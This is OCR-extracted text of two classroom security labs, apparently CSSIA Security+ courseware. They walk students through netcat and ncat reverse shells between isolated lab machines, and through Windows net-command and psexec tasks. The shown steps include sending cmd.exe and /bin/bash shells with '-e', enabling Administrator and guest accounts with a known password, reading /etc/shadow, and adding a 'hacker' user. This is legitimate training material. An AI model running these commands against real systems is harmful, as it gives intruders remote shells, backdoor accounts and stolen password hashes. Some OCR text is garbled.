ports on a remote machine, transfer a file between machines, and send a command
shell from one system to another. The tool is often classified as a virus by AV vendors.

Nmap [2] — Nmap is a program that can be used in Linux, Mac, or Windows to locate
machines on a network. After nmap is used to discover machines on a network, it can
also be utilized to determine which open Transmission Control Protocol (TCP) and User
Datagram Protocol (UDP) ports the machine has open. Nmap will give an indication of
the operating system the remote machine is using. Zenmap is a GUIl frontend for nmap.

Ncat [3] — Ncat is similar to netcat, but comes bundled with the latest versions of nmap.
One major difference between the two is ncat is not classified as a virus by AV vendors.

Command Shell — The Windows command shell allows users to interact with the
operating system from a command line environment. Virtually anything that can be
done in the Graphical User Interface, or GUI, in Windows can be done from the
command line. A command shell can be sent from a victim’s machine to an attacker’s
machine. Once the attacker has a command shell connected to the victim’s machine,
they can run commands on the remote system, and perform administrative tasks.

Apache —This is web server software, commonly used on Linux machines. However,

Apache can also be utilized on Windows, Mac OS X, and UNIX. The name Apache came
from the Native American tribe. Apache software can be used to host a website.
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3 Pod Topology
BackTrack 5 Windows 7 Red Hat Linux  Windows 2k3 Server
Attack Attack Victim Victim

INTERNAL NETWORK Domain: MSEC.local
192.168.100.0/24

MSEC it
Multi-Purpose \l“ll. Firewall

Security Pod

Domain: GVPC.local
EXTERNAL NETWORK 10.10.19.0/24

LiNuX
SNIFFER

BackTrack 4 Windows 2k3 Server
Attack Victim

Figure 1: MSEC Network Topology
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4 Lab Settings

The information in the table below will be needed in order to complete the lab. The

task sections below provide details on the use of this information.
Required Virtual Machines and Applications

Log in to the following virtual machines before starting the tasks in this lab:

BackTrack 5 Internal Attack Machine 192.168.100.3
BackTrack 5 root password password
Windows 7 Internal Attack Machine 192.168.100.5
Windows 7 student password password

BackTrack 5 Login:
1. Click on the BackTrack 5 icon on the topology.

2. Type root at the bt login: username prompt.
3. Type password at the Password: prompt.

Password: .

Figure 2: BackTrack 5 login

4. To start the GUI, type startx at the root@bt:~# prompt.

[+] To start a graphical interface, type
[*]1 The default root password is " =

root@bt:"# startx_

Figure 3: BackTrack 5 GUI start up

8/15/2012 Copyright © 2003-2012 Center for Systems Security and Information Assurance (CSSIA)
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Lab 7: Analyze and Differentiate Types of Malware

Windows 7 Login:

1. Click on the Windows 7 icon on the topology.

2. Enter the username, student (verify the username with your instructor).

3. Type in the password, password and hit enter to log in (verify the password with
your instructor).

student

Figure 4: Windows 7 login
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Task 1 Using Netcat to Send a Reverse Shell

Netcat is often referred to as a "Swiss Army Knife", because of its many capabilities.
Netcat can be used to scan for open ports on a remote machine, transfer a file between
machines, and send a command shell from one system to another. There are versions
of the tool that work on major operating systems including Mac, Windows, Linux and
UNIX.

A computer with a public IP Address cannot send a command shell to a machine sitting
behind a firewall with an internal private IP Address. However, a machine on a LAN with
a Private IP Address can send a command shell to a machine with a Public IP Address.
The process of sending a shell out of the internal network is known as a reverse shell.

Verizaon
i 81.21.37.9

Frivate IP Gateway
192.168.1.1

Comecast
66.77.88.4

Private IP Internal Gateway
192.168.1.100

Figure 5: Sending A Reverse Shell

Task 1.1 Using Netcat
Start the Apache Server on the Attack machine

1. Open aterminal on the BackTrack 5 system by clicking on the picture to the right
of the word System in the task bar in the top of the screen.

Applications Places System [5_]

v X root@bt: ~

Edit View Terminal Help

Figure 6: A BackTrack Terminal

Apache is web server software, which runs on a variety of operating systems. A version
of Apache is included with BackTrack so the machine can perform web server functions.
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2. Start the Apache server by typing the following command at the terminal.
root@bt:~#apache2ctl start

¥ root@bt: ~

File Edit View Terminal Help
:~# apache2ctl start

Figure 7: Starting the Apache Server

3. To verify that the Apache server is listening on port 80, type the following:
root@bt:~#netstat —tan | grep 80

~# netstat -tan qrep 80

Figure 8: Verifying that the Apache Web Server is Running

To test that the web server is functioning with a valid home page, you can attempt to
connect to it from the Windows 7 machine by connecting to it from your browser.

4. On the Windows 7 machine, open a browser page (either Internet Explorer or
Mozilla Firefox) and type the following URL:
http://192.168.100.3 - You should the message “It works!” on the webpage.

& hitp://192162.100.3/ - Windows Internet Bxplorer =R R

W) [B) e 1921681003 | ~| &[4[ x [|[= 8irg o -
'f;? Favorites | 93 @] Suggested Sites » @ | Web Slice Gallery

| (@ httpy//192168100.3/ . fi B v @ v Pagev Sofetyv Toos~ @~
It works!

This is the default web page for this server.

The web server software is running but no content has been added, vet.

Done E @ Internet | Protected Mode: Off fg v H100% -

Figure 9: Viewing the Default Web Page

BackTrack comes with netcat and several other Windows executables in the
/pentest/windows-binaries directory. A binary file is an executable file.
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* tools - File Browser

File Edit View Go Bo Help
‘ . & ® B pentest windows-binaries | tools
Personal -
& root i i
Deskto
- P enumplus PortQryvz
&, Trash ! 3
Devices - / [ "
__ File System : @ J@ @
Floppy Drive binject.exe exe2bat.exe Fport.exe
Network = = )
[ Entire network “@ “@ - ‘ﬁ
kloigger.exe mbenum.exe mstsc.exe A
21 items, Free space: 441.9 MB — e 4

Figure 10: Windows Binaries on the BackTrack Distribution

5. To copy netcat to the Apache directory, type the following at the terminal:
root@bt:~#cp /pentest/windows-binaries/tools/nc.exe /var/www

0 /pentest/windows-binaries/tools/nc.exe /var/wi

Figure 11: Copying Netcat to the WWW Directory

You will not receive a message that the file was successfully copied over.

6. To verify that the file is present in the destination directory, type the following:
root@bt:~#ls /var/www

g ]_' .I-""-.-'.:-g '-,."Il".'.'r'.'.'r'.'."

1ndex.html nc.exe

Figure 12: Verifying that Netcat is in the WWW Directory

7. Download the netcat file from the BackTrack 5 machine, running Apache, by
typing the following URL in your Windows 7 Internet Explorer browser:
http://192.168.100.3/nc.exe

E

€ Blank Page - Windows Internet Explorer

vt ) |§, http://192.168.100.3/nc.exe

Figure 13: The URL in the Browser
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8. Click the Save button at the File Download — Security Warning Screen.

File Download - Security Warning

Do you want to run or save this file?

@ Mame: nc.exe
Type: Application, 58.0KB

From: 192.168.100.3

Bun ][ Save ] E Cancel i

paotentially ham your computer. i you do not trust the source, do not

I@ While files from the Intemet can be useful, this file type can
h run or save this software. What 's the risk?

Figure 14: Closing the Text Log

9. Click on Computer, the Local Disk (C :), and then select Windows. Click Save.

@T\“:}v! i = Local Disk (C:) » Windows » - |$f| Search Windows p

Organize = Mew folder 25 (7]
= MName i Drate modified Type =
1% Computer o ) b
\. SReconfigs 11/2/2011 3:53 PM File folde|

&, Local Disk (C:) ) o
5 B . addins 1/14/2009 12:52 AWM File folde
. SRecycle.Bin
8 . AppCompat 113/200910:37 PM File folde
I class_tools Rl e
. AppPatch 71472009 12:56 AN File folde

A Documents ami

| assembly 10/17/2011 %11 PM  File folde
. Perflogs X 2 3
A k Boot T/14/2009 12-52 AM  File folde
i Program Files | = : o
p b | Branding 1714/2008 12:52 AM  File folde
.. ProgrambData
Hug j TS 10/17/2011 835 PM File folde
i o Cursors 71472009 12:52 AM  File folde
. Systemn Valum
& Sy - debug 10/17/2011 304 PM  File folde ~
. Users
+ |4 | I ¥
File name: nc.exe -
Save as type: | Application v]

) Hide Folders seve | | Concel |

Figure 15: Downloading the Executable to the Windows Directory
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If you are using the Firefox browser, saving nc.exe file will place it automatically in the
default location, the Downloads folder.

Navigate to the Downloads folder by clicking the Start button and then clicking
Computer. On the left side of the window, Click the Downloads folder, right-click the
nc.exe file and select cut. Navigate to c:\Windows folder. In a blank area, right-click
and select paste. Close the window after verifying that the file has been successfully
moved.

Downloading executables to the Windows or Windows\system32 directory is a good
idea because that will place the executable in the path. If an executable is in the path,
you will be able to type the command from any directory on the system.

10. Open a command prompt on the Windows 7 machine by double clicking on the
cmd-shortcut on the Desktop.

Figure 16: Opening a Command Prompt on Windows 7

11. Type the following command to verify that the netcat file transferred correctly:
C:\nc -h

B8 Administrator: emd - Shortcut [ 3]
Microsoft wind /ersion 6.1 0]
Copyright (c) - ) Microsoft Corporation. All rights

o somewhere: nc [-options] hostname port[s] [ports]
listen for inbound: nc -1 -p port [options] [hostname] [pnlt]
options:

detach from console, stealth mode

prog inbound program to exec [dangerous!!]
g gateway source-routing hop point[ up to
num source-routing pointer: 4, 8, 12,
this cruft
5ecs delay interval for lines sent, ports scanned

listen mode, for inbound connects
listen harder, re-listen on socket close
) numeric-only IP addresses, no DN
o file hex dump of traffic
D port local port number
randomize local and remote ports

addr

verbose]
fnl CUnnectc dnd f1nd1 net reads
z mode [used for scann
port numbers can be indi 1dua1 or ranges: m-n [inclus

Figure 17: Displaying the Options for the Netcat Command
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In order to receive a command prompt from the Windows 7 machine on BackTrack 5
system, a listener must be started. The receiving machine should start the listener first.

12. On the terminal within the BackTrack 5 system, type the following to start the
listener: root@bt:~#nc -l —-p 443

* root@bt: ~

File Edit View Terminal Help
:~# nc -1 -p 443

Figure 18: Starting a Netcat Listener on Port 443

The BackTrack machine will listen on port 443 for inbound connections. In many
organizations, firewalls prevent outbound traffic from using ports other than 80 and
443. Port 80 is used for HTTP traffic and port 443 is used for HTTPS traffic.

The Windows 7 Machine needs the IP Address of the BackTrack machine and the
listening port, so a command prompt can be successfully sent to the other machine.

13. Type the following command to send shell to BackTrack 5 over port 443:
C:\nc 192.168.100.3 443 —e cmd.exe

r

B3 Administrator: cmd - Shortcut - nc 192,168.100.3 443 —& cd.exe

C:\>nc 192.168.100.3 443 -e cmd.exe

Figure 19: Sending a Reverse Shell Using Netcat

The —e at the end of the command stands for execute. If the other machine is listening
on that port, it will receive a command prompt. The IP Address and port must match.
On the BackTrack machine, you should have a Windows command prompt.

~# nc -1 -p 443
Microsoft Windows [Version 6.1.7600]

Copyright (c) 2009 Microsoft Corporation. ALl

Figure 20: The Windows Command Prompt
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14. Type the following command in the BackTrack 5 terminal to view the IP Address
of the remote system:
C:\>ipconfig

Windows IP Configuration

thernet adapter Local Area Connection:

t N .
DefaultsGateway .

Figure 21: Viewing the IP Address on the Remote Machine

15. Type the following command to view the status of the administrator account:
C:\>net user administrator

Administrator

Built-in account for

Figure 22: The Administrator Account Disabled on Windows 7

You should receive the message that the command completed successfully.
On Windows Vista and 7, the administrator account is disabled by default.

16. To enable the Administrator account on the system, type the following:
C:\> net user administrator /active:yes

Figure 23: Enabling the Administrator Account

You should receive the message that the command completed successfully.
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17. Type the following command to view the status of the administrator account:
C:\>net user administrator

Administrator

Built-in account for

000 (System Defa

Yes

Figure 24: Enabling the Administrator Account

You should receive the message that the command completed successfully.
The administrative account is now active on the Windows 7 system.

18. Type the following command to set a password for the administrator account:
C:\>net user administrator P@sswOrd

Figure 25: Giving the Administrator the password of P@sswOrd

You should receive the message that the command completed successfully. Type exit to
leave the netcat session on BackTrack connected to the Windows 7 command shell.

19. Close all remaining command shells and terminals.

Task 1.2 Conclusion

Netcat can be used to perform a number of tasks, including sending a reverse shell from
one machine to another. Netcat, often referred to as a Swiss Army Knife, can be used
send a command shell if to a remote system if the machine listening on a given port.
Once the shell connects, administrative tasks can be performed on the machine.

Task 1.3 Discussion Questions

What is the command to start a netcat listener on port 4437

What folders should you put netcat in so it is in the Windows Path?

What is the command to enable the administrator account?

In what operating systems is the Administrator account disabled by default?

PN E
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Task 2 Using Ncat to Send a Reverse Shell
Ncat is part of the current nmap installer package and is similar to netcat. However,

unlike netcat, ncat is not classified as a virus by most Anti-Virus vendors. Ncat also has
the capability to allow users to send a command shell to be sent over IPv6.

Task 2.1 Using Ncat

Nmap and ncat come installed on the BackTrack distribution. Nmap does not come as
part of the Windows operating system, but it can be downloaded from nmap.org. After
you download and install the nmap package, nmap and ncat will be part of the path.

1. Open acommand prompt on the Windows 7 machine by double clicking on the
cmd-shortcut on the Desktop.

Figure 26: Opening a Command Prompt on Windows 7

2. Type the following command to view the available options for the ncat:
C:\ncat -h

B8 Administrator: cmd - Shertcut

ncat -h N |
Ncat 5.51 ( http://nmap.org/ncat
Usage: ncat [options] [hostname] [port]

b
.-Fl

Options taking a time assume seconds. Append 'ms' for milliseconds,

's' for seconds, 'm" for minutes, or 'h' for hours (e.g. 500ms).
-4 Use IPvd only
-6 Use IPvH only
-C, --crlf Use CRLF for EOL sequence
-¢, --sh-exec <command>  Executes the given command via /bin/sh
-e, --exec <command:> Executes the given command

Figure 27: Viewing the Available Options for Ncat
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Ncat is similar to ncat, in that one machine must be listening for the other machine to
connect. To connect from one machine to another, the IP Address and port must be
specified. Like netcat, ncat allows you to send a command shell to the remote machine.

3. Open aterminal on the BackTrack 5 system by clicking on the picture to the right
of the word System in the task bar in the top of the screen.

Applications Places System [5_] ] [ ThuJan

~ v X% root@bt: ~
File Edit View Terminal Help

Figure 28: A BackTrack Terminal

Start the listener on BackTrack before you attempt to send the command shell.

4. Start the listener on the BackTrack 5 machine by typing the following command:
root@bt:~#ncat -l —p 22

Figure 29: Starting the Netcat Listener

5. On the Windows 7 system, type the following command to send a shell using
ncat:
C:\ncat —C 192.168.100.3 22 —e cmd.exe

B Administrator: cmnd - Shortcut - ncat -C 192.168.100.3 22 -e cmd.exe

Microsoft Windows [Version 6.1./7600]

Copyright (<) 2009 Microsoft Corporation.

C:\=nhcat -C 192.168.100.3 22?2 -e cmd.exe

Figure 30: Starting the Netcat Listener

6. Check the BackTrack 5 machine. You should have a Windows command shell.

Figure 31: The Command Prompt Sent to BackTrack via Ncat
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7. Type the following command to view the IP Address of the remote system:
C:\>ipconfig

Windows IP Configuration

thernet adapter Local Area Connection:

Connection-specific DNS Suffix
Address .

Figure 32: Viewing the IP Address on the Remote Machine

8. Type the following command to view the status of the guest account:
C:\>net user guest

Guest

Built-in account for

Default)

Figure 33: The Guest Account Disabled on Windows 7

You should receive the message that the command completed successfully.
On all Windows versions, the guest account is disabled by default.

9. To enable the guest account on the system, type the following:
C:\> net user guest /active:yes

tive:ye
ted

est /ac
':4:
e

comma _.u_i compl

Figure 34: Enabling the Administrator Account

You should receive the message that the command completed successfully.
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10. Type the following command to view the status of the guest account:
C:\>net user guest

Usé r e
Full Name

Figure 35: Enabling the Guest Account

You should receive the message that the command completed successfully.
The guest account is now active on the Windows 7 system.

11. Type the following command to set a password for the guest account:
C:\>net user guest P@sswOrd

Figure 36: Giving Guest a Password of P@sswOrd

You should receive the message that the command completed successfully. Type exit to
leave the netcat session on BackTrack connected to the Windows 7 command shell.
Close all remaining command shells and terminals.

Task 2.2 Conclusion

Like netcat, ncat will allow you to perform a number of tasks, including sending a
reverse shell to another machine. Unlike netcat, ncat will not be classified as a virus file
by most Anti-Virus vendors. In order for ncat to work properly, the remote machine
must be listening on a given port and the connecting machine must use the same port.

Task 2.3 Discussion Questions

What is the command to start ncat listener on port 227

What is the command to enable the guest account?

In what operating systems is the guest account disabled by default?
What is a major difference between netcat and Nmap’s ncat?

PN E
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Task 3 Sending a Bash Shell to a Windows Machine using Netcat

In this section, you will send a Bash shell from the Linux system to the Windows 7
machine. Using netcat, you can send a Linux shell to another system on the network. In
addition, you can run commands and perform administrative (root) tasks on the remote
Linux system.

Task 3.1 Sending a Linux Shell to a Remote System

The Linux Bourne Again Shell, or Bash shell, is one of many shells that are available in a
Linux environment. Netcat can be used to send a Bash shell to a remote system..

Open a Terminal to Get Started

1. Openacommand prompt on the Windows 7 machine by double clicking on the
cmd-shortcut on the Desktop.

Figure 37: Opening a Command Prompt on Windows 7

This time we will start the listener on the Windows system first using port 443.

2. On Windows, type the following command to start the netcat listener:
C:\nc-l-p 443

EX Administrator: cmd - Shortcut - ne -1 -p 443

Microsoft wWindows [Version 6.1./¢
Copyright (c) 2009 Microsoft Corporation.

C:\>nc -1 -p 443

Figure 38: Starting a Netcat Listener on a Windows on port 443
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3. Open aterminal on the BackTrack 5 system by clicking on the picture to the right
of the word System in the task bar in the top of the screen.

Applications Places System ] [ Thu)an

A v x root@bt: ~

File Edit View Terminal Help

Figure 39: A BackTrack Terminal

4. On the Linux system, type the following to send out a netcat shell over port 443:
root@bt:~#ncat 192.168.100.5 443 —e /bin/bash

% root@bt: ~
File Edit View Terminal Help
~# nc 192

Figure 40: Sending a Netcat Shell to another Machine over the Network

You will not receive a prompt on the Windows system, but it should be connected.

5. To test the connection and verify that the shell was successfully sent from the
BackTrack 5 system to the Windows 7 system, type the following:
ifconfig

**WARNING ** - You will not see the root@bt: prompt. in the blank area, type the
command ifconfig. For the rest of the instruction within this lab, you will not see the
root@bt: prompt.

L'|nl encap: Ethernet H'l.'.l'arhlr 00: 'SE:I 5
C 1 : .

=1
oppe r :0 fr*arna.-_- 0
err:::rs:(! rlrr:pperl'(! ovVerruns: CJ carrier:0
jeuelen: 1000
) (7.1 MB) TX bytes:1338217 (1.3 MB)
Interrupt:19 Base address:0x2000

.0.0

! )y Metric:1
6 errors:0 dropped:0 runs:0 frame:0
errors:0 dropped:0 o runs:0 carrier:0
:0 txqueuelen:0
845131 (2.8 MB) TX bytes:2845131 (2.8 MB)

Figure 41: The ifconfig Command Displays the IP Address of the Remote Machine

The ifconfig command proves that you are connected to the remote Linux machine.
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6. Type the following to determine the level of access on the Linux system:
whoami

WHnoamn

root

Figure 42: The whomai Command Shows Root Level Access

7. Type the following command to display the files in your present directory:
Is

1s
clearlogs.exe
Desktop
wWordlist. txt

Figure 43: The Is command Displays Files and Folders

Two files in the /etc directory contain information about accounts on the system. The
password file stores the user's password hashes separate from the other data in the
passwd file. Linux users can use the cat command, which stands for concatenate, to
display the contents of a file like the passwd file and the shadow file.

8. Type the following to display the contents of the etc/passwd file:
cat /etc/passwd

1/1pd:
mai | mai |
new.

/sh

rar/1ib/gnats: /bin/sh

ologin
n/false

Figure 44: The /etc/passwd File

8/15/2012 Copyright © 2003-2012 Center for Systems Security and Information Assurance (CSSIA) Page 22 of 25



Lab 7: Analyze and Differentiate Types of Malware

9. To display the remote system’s shadow file, type the following command:
cat /etc/shadow

IT E{}f‘l H5R XTLmCtEIK. 7vvANTNetnB3as 9L G/WCgEX

15JGG 0
15300:0
15300:
215300
15300:0
5300:(
¢:15300:
15JOG

15300:0
15300:0
:15300:0:
¢: 15300
sys log 15300:
sshd:x:15300:0:
landscape:x:1530
messagebus: x:

nobody: x 15_:(3(3 0:9
Figure 45: The /etc/shadow File

Another administrative task that can be performed by the root user, is creating an
account. An account can be created in Linux using the useradd command.

10. Type the following command to add a hacker account to the Linux system:
useradd hacker

useradd hacker

Figure 46: The Meterpreter Shell

11. Type the following command to verify the hacker account exists on the system:
id hacker

1d hacker

u1d=1001(Chacker) g1d=1001(hacker) groups=1001(hacker)

Figure 47: The id Command in Linux
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Finally, before disconnecting the session, we will view the IP Addresses and ports used
in the network connection from the BackTrack 5 system to the Windows 7 system.
Using the —tan option on netstat will just show Transmission Control Protocol, or TCP,
connections. You can reduce the output by piping the command into a GREP, Global
regular Expressions Print, and using port 443, which was used for the netcat session.

12. To start a command prompt on the victim machine, type the following:
netstat —tan | grep 443

grep 44

168.100.3:46278 192.168.100.5:443 ESTAELISHED

Figure 48: Starting a Command Prompt

13. Type exit to leave the Windows 7 netcat session connected to BackTrack 5.
Close all remaining command shells and terminals.

Task 3.2 Conclusion

Netcat is a tool that can be useful on both Windows and Linux systems. With netcat,
you can send Bash shell to a remote Linux or Windows system. Once the shell is
connected to the remote system, you can run remote administrative tasks, like adding
users.

Task 3.3 Discussion Questions

What is the command to start a netcat listener on port 443 in Windows?
What is the command to display your IP Address in Linux?

What is the command to add a user in Linux?

What are two files located in the /etc directory associated with accounts?

A
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5 References

1. Netcat:
http://netcat.sourceforge.net/

2. Nmap:
http://nmap.org/

3. Ncat:
http://nmap.org/ncat/

4, Bash Commands:
http://ss64.com/bash/

5. BackTrack Linux:
http://www.backtrack-linux.org/
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1 Introduction

This lab is part of a series of lab exercises designed through a grant initiative by the
Center for Systems Security and Information Assurance (CSSIA) and the Network
Development Group (NDG), funded by the National Science Foundation’s (NSF)
Advanced Technological Education (ATE) program Department of Undergraduate
Education (DUE) Award No. 0702872 and 1002746. This series of lab exercises is
intended to support courseware for CompTIA Security+® certification.

By the end of this lab, students will be able to view resources on the network, map
network drives, and perform administration on remote systems from the command line.
Many commands built into the operating system, such as the net command, can be used
to access resources. These commands can be used by an insider to attack the network.

This lab includes the following tasks:

e Task 1 - Viewing and Accessing Network Resources
e Task 2 — Using PSEXEC to Connect to a Remote System
e Task 3 — Stopping, Starting, and Removing Services

2 Objective: Analyze and Differentiate Among Types of Attacks

While hackers may utilize various tools to attack network systems, there are many tools
built into the Windows operating system, which will perform similar tasks. Many
individuals are unaware of how to utilize these commands to attack a network. These
Windows commands are very powerful if an attacker has internal network access.

For this lab, the following terms and concepts will be of use:

psexec [1] — This is a Sysinternals (a subsidiary of Microsoft ) tool that will allow you to
execute a command on a remote Windows machine. In order to execute a command on
a remote system, you must have the credentials of an account on the remote machine.

net command [2] — The net command has been around since the days of MS-DOS. It
has many uses, and can help Windows users perform tasks like create users, stop
services, map drives, and view other computers on the network.

Command Shell — The Windows command shell allows users to interact with the
operating system from a command line environment. Virtually anything that can be
done in the Graphical User Interface, or GUI, in Windows can be done from the
command line. A command shell can be sent from a victim’s machine to an attacker’s
machine. Once the attacker has a command shell connected to the victim’s machine,
they can run commands on the remote system, and perform administrative tasks.
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SC Command [3] — The sc command will allow you to stop, start, and install services.

Hostname command — The hostname command can be used to view the name of the

computer on any Microsoft, Linux, UNIX, or Mac OS X operating system.

3 Pod Topology
BackTrack 5 Windows 7
Attack Attack

Red Hat Linux
Victim

Victim

Windows 2k3 Server

INTERNAL NETWORK

MSEC

Multi-Purpose
Security Pod

EXTERNAL NETWORK

b |

O\ N
\l'.lll Firewall
1

Domain: MSEC.local
192.168.100.0/24

Domain: GVPC.local
10.10.19.0/24

—

v

) &,

LiNuX
SNIFFER

BackTrack 4
Attack

Figure 1: MSEC Network Topology
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Victim
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4 Lab Settings

The information in the table below will be needed in order to complete the lab. The
task sections below provide details on the use of this information.

Required Virtual Machines and Applications

Log in to the following virtual machines before starting the tasks in this lab:

Windows 2003 Internal Victim Machine 192.168.100.201

Windows 2003 administrator password password
Windows 7 Internal Attack Machine 192.168.100.5
Windows 7 student password Password

Windows 2003 Server Login:

1. Click on the Windows 2k3 Server icon on the topology (these instructions will
work for both internal and external victim machines).

2. Enter the User name, Administrator (verify the username with your instructor).

3. Type in the password: password and click the OK button (verify the password
with your instructor).

- = Windows Server2003
¥ Standard Edition

Copyright © 1885-2003 Microsolt Carporation

User name: I Administrator

Password: I ooooooool

| q:’& I Cancel I Options ==
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Windows 7 Login:

1. Click on the Windows 7 icon on the topology.

Enter the username, student (verify the username with your instructor).

3. Type in the password, password and hit enter to log in (verify the password with
your instructor).

N

Figure 2: Windows 7 login
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Task 1 Viewing Network Resources

The net command can be used to perform a variety of tasks within Windows, including:
e Viewing network resources
e Mapping Drives
e Managing User Accounts

e Starting and Stopping Services.

The net command has actually been part of the Microsoft Operating system dating all of
the way back to MS-DOS. You can display the options available with net by typing net.

¢ Shortcut to cnd.exe

oft Winde
right 1983

LOCALGROUP | MAME | PAUSE | PRINT | SEND | SESSION
SHARE | START | STATISTICS | STOP | TIME | USE | USER | WIEW ]

Figure 3: The Net Command

Task 1.1 Using the Net Command to View Resources
Using the Net Command to View Resources on a Microsoft Network

1. Click on the icon representing the Windows 7 VM. Open a command prompt on
the Windows 7 machine by double clicking on the cmd-shortcut on the desktop.

Recycle Bin

Figure 4: The Windows Command Prompt

You can use the hostname command to view the name of a computer on any Microsoft
operating system, as well on computers on Linux, UNIX, and Mac OS X.
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2. Type the following command to determine the computer name of your system:
C:\>hostname

EX Administrator: cmd - Shortcut

Microsoft Windows [Version 6.1. . .
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\>hostname
student-PC

Figure 5: The hostname Command

Your computer name on the Windows 7 machine should be student-PC. The hostname
command gives you the computer name only. The net config workstation command is

much more robust and can give you the computer name, workgroup, and other details

about the computer including the version of the operating system.

3. Type the following command to view the workstation domain your computer
belongs to:
C:\>net config workstation

B3 Administrator: cmd - Shortcut EI@

et config workstation
Computer name \\STUDENT-PC
Full Computer name student-PC
User name student

Workstation active on ~ i i i R
NetBT_Tcpip_{42D75982-0081-448F-9e61-FD13C9F8D179} (00505

Software version Windows 7 Professional

cstation domain
1 domain student-PC

M Open Timeout (sec) 0
Send Count (byte) 16
COM Send Timeout (msec) 250
The command completed successfully.

Figure 6: Viewing the Workgroup by using net config workstation

The net command can also be used to view all workgroups and domains on the network.

8/15/2012 Copyright © 2003-2012 Center for Systems Security and Information Assurance (CSSIA) Page 8 of 27



Lab 8: Analyze and Differentiate Types of Attacks Using Window Commands

4. To view all of the domains and workgroups on the network, type the following:

C:\>net view /domain

WORKGROUP
The command completed successfully.

Figure 7: Viewing the Domains and Workgroups on the Network

5. To view all of the computers in a specific domain or workgroup, type the
following command, followed by the name of the domain or workgroup:
C:\>net view /domain:msec

view /domain:msec
Name Remark

NIN2K3DC )
The command completed successfully.

Figure 8: Viewing the Computers within a Specific Domain

You should see one computer named WIN2kDC3 within the MSEC domain.

6. To view all of the computers in the other workgroup, type the following
command, followed by the name of the workgroup:
C:\>net view /domain:workgroup

net view /domain:workgroup
r Name Remarlk

UDENT-PC i
command completed successtully.

Figure 9: The Name of the Computers in the Workgroup

You should see one computer named student-PC in the workgroup.

8/15/2012 Copyright © 2003-2012 Center for Systems Security and Information Assurance (CSSIA)
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7. To attempt to view resources on the remote machine, type the following:
C:\>net view \\win2k3dc

BN Administrator cmd - Shortcut

view
error 5 has occurred.

1s denied.

Figure 10: Access to the Remote Resources are Denied

You are unable to view the resources on the remote machine because you are not using
the correct credentials. To successfully connect, use the username and password of an
account on the remote machine. Mapping to the IPCS Share will fix this problem.

8. Type the following command to map the IPCS share on the remote machine.
C:\>net use \\win2k3dc\ipc$

Type administrator for the username and password for the password.

For security reasons, the password will not be displayed on the screen.

“=net view
Ssystem error

is denied.

-
-

The password or user name is invalid for \\win2k3dc\ipc}$.

Enter the user name for "winlZk3 '+ administrator
Enter the password for winZ :

Figure 11: Successfully Mapping the IPCS Share

After successfully connecting to the remote machine, you will be able to view the
resources on the remote machine including items like network shares.
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9. To attempt to view resources on the remote machine, type the following:
C:\>net view \\win2k3dc

p

EX Administrator: emd - Shortcut

\=net view \}
Shared resources at

share name

NETLOGON isk Logon server share
SYSVOL Disk Logon server share

The command completed successfully.

Figure 12: Successfully Accessing Remote Resources

The NETLOGON and SYSVOL shares indicate that the Windows 2003 server is a Domain
Controller. These shares are used by Active Directory, the Windows Directory Service.
The net use command can be utilized to map a network drive on a remote network.

10. Map a drive to the SYSVOL share on the Windows 2003 by typing the following:
C:\>net use x : \\win2k3dc\sysvol

C:\>net use x: \\winZk3dc\ JOL

he command completed successfully.

Figure 13: Successfully Mapping a Drive

When mapping a drive, you can use any letter for the drive other than the drive letters
that are currently in use by your hard drive and CD/DVD drive. Once the drive is
mapped, you can download or upload files to mapped drives similarly.
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11. You can view the mapped drive by clicking on Start and selecting Computer.

/IU |_'|-' » Computer » - | g | Searc
Organize Systermn properties Uninstall or change a prograrm Map network drive >
¢ Favorites 4 Hard Disk Drives (1)
BE Desktop Local Disk (C:)
4. Downloads - — —
Recent Places . 0.98 GB free of 8.61 GB
4 Devices with Removable Storage (2)
o Libraries i i
i Documents —— MLW Floppy Disk Drive (A:) & 7 CD Drive (Dx)
@' Music
= Pictures 4 MNetwork Location (1)
E Videos : SYSVOL Dhwin2k3dc) (53

s - -
— 1.25 GB free of 4,98 GB
*‘E‘ Homegroup

M Computer
&L, Local Disk (C3)
5 SYSVOL (\\win2k3dc

Figure 14: Viewing the Mapped Drive in Computer

12. View the list of all mapped drives can also be viewed by typing net use.
C:\>net use

-net use
Mew connections will be remembered.

Status Local Remote Network

rin2k3dc\SYsSVOL Microsoft Windows Network
¢ winZk3dch\i pc$ Microsoft Windows Metwork
The command completed successfully.

Figure 15: Viewing the Mapped Drives from the Command Line

The X: drive is listed as a mapped drive to the SYSVOL folder on the Win2k3dc machine.
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13. Type the following to switch to the x: drive and view the contents of the share:
C:\>x:
X:\>dir

e X has no label.
Volume Serial Number is 7834-3125

Directory of X:\

01:14 pP™m <DIR=

01:14 pm <DIR> ..

01:12 PM™m <JUNCTION: msec. local [C:\WINDOWS® SVOL\domain]
0 File( 0 bytes
3 Dir(s) 1,346,547 ,712 bytes free

Figure 16: Viewing the Resources on the Remote System

You can add a file to the share on the remote server by using the echo command.

14. Type the following to add a file called securityplus.txt to the remote share:
X:\>echo hello world > securityplus.txt

X:\»echo hello world > securityplus.txt

Figure 17: Echo Hello World

15. Type the following to view the newly added file on the remote share:
X:\>dir

be 1

ume in drive X has no

\ IE!
Volume Serial Number 1s 7834-

Directory of X:\

/2012 09:48 pu <DIR>
9/2012 09:46 PM  <DIR>» .
2009 01:12 PM  <JUNCTION: msec. local [C:\WINDOWS\SYSVOL\domain]
9/2012  09:48 Pw 14 securityplus. txt
e(s) 14 bytes
(s) 1,346,547,712 bytes free

3 Dir

Figure 18: The Windows Command Prompt
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16. View what is written in the file by typing the following command:
X:\>more securityplus.txt

Figure 19: Viewing the contents of the Text File

17. Delete the mapped drive by typing the following commands:
X:\>c:
C:\>net use x: /del /y

Figure 20: The Map Drive is deleted

18. Close the Windows 7 command prompt.

Task 1.2 Conclusion

The net command has many uses. It can be used to view information about a computer,
view resources on a network, and even map network drives. In order to map a network
drive, the appropriate credentials of an account on the remote machine are needed.

Task 1.3 Discussion Questions

What is the command to view your workgroup?

What is the command to enumerate all of the domains on the network?
What is the command to map a drive?

What is the name of the share that will give you access to all resources on the
remote machine?

PwnN e
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Task 2 Using PSEXEC to Connect to a Remote System

PSEXEC is a Sysinternals (a subsidiary of Microsoft) tool that will allow you to execute a
command on a remote Windows machine. In order to execute a command on a remote
system, you must have the credentials of an account on the remote machine. The
command is not built into the Windows operating systems. It must be downloaded
from the following link: http://technet.microsoft.com/en-us/sysinternals/bb897553

Task 2.1 Using PSEXEC

The psexec command can be used to run a command on a remote system. Before using
the psexec command, the user must agree to the End User License Agreement (EULA).

